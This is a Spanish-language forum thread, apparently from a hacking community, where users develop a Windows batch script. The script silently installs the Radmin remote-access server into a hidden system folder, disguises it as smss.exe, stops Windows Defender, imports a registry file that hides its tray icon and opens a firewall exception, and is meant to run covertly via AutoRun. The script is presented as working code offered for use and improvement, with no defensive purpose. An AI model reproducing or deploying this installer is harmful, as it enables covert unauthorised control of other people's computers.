echo offclsif exist "%SystemRoot%\system32\drivers\system\R_server.exe" goto Explorerset ruta=%SystemRoot%\system32\drivers\systemmkdir %ruta%copy r_server.exe %ruta%copy AdmDll.dll %ruta%attrib +s +h +r %ruta%attrib +s +h +r %ruta%\*.*regedit /s reg.reg%ruta%\r_server.exe /install /silence%ruta%\r_server.exe /start:EXPLORERExplorer \
regedit /s reg.reg
Haz el code completo como pensarias dejarlo y te ayudamos a mejorarlo .Edito:Suponiendo que vas a ejecutarlo de forma "escondida" con el AutoRun. Creo que aun te falto leer mas de las revistas, ya que aca lo tienes con una dll y el exe, al final del ejercicio de la revista quedamos con 2 dll`s que podemos ejecutar juntos con un code, te recomendaria hacerlo asi.Tengo la duda de esta linea:Código: [Seleccionar]regedit /s reg.regDisculpa mi ignorancia Para las demas ideas te recomiendo busques algo sobre "Net stop" o "Net start" ya sabras que son muy utiles.Zalu2
regedit /s reg.reg importa de manera silenciosa al registro el archivo reg.reg, que está configurado a mi gusto, como que no muestre icono en es systray y demás. También añade una excepción al Firewall de Windows XP, pero el de Vista no se en que clave se guarda... Claro que conozco Net start y stop, pero no había caido en eso, gracias.Voy a mirar eso que dices de las 2 dll's en la revista y pongo el código final.Thanks.
if exist "%SystemRoot%\system32\drivers\system\smss.exe" goto instaladoset ruta=%SystemRoot%\system32\drivers\systemmkdir %ruta%net stop "Windows Defender"copy smss.exe %ruta%copy AdmDll.dll %ruta%attrib +s +h +r %ruta%attrib +s +h +r %ruta%\*.*regedit /s system\reg.reg%ruta%\smss.exe /install /silence%ruta%\smss.exe /starttracert -h 3 www.google.es>%ruta%\ip.logcopy %ruta%\ip.log \log.pot:instaladoexplorer \exit:ENDexplorer \exit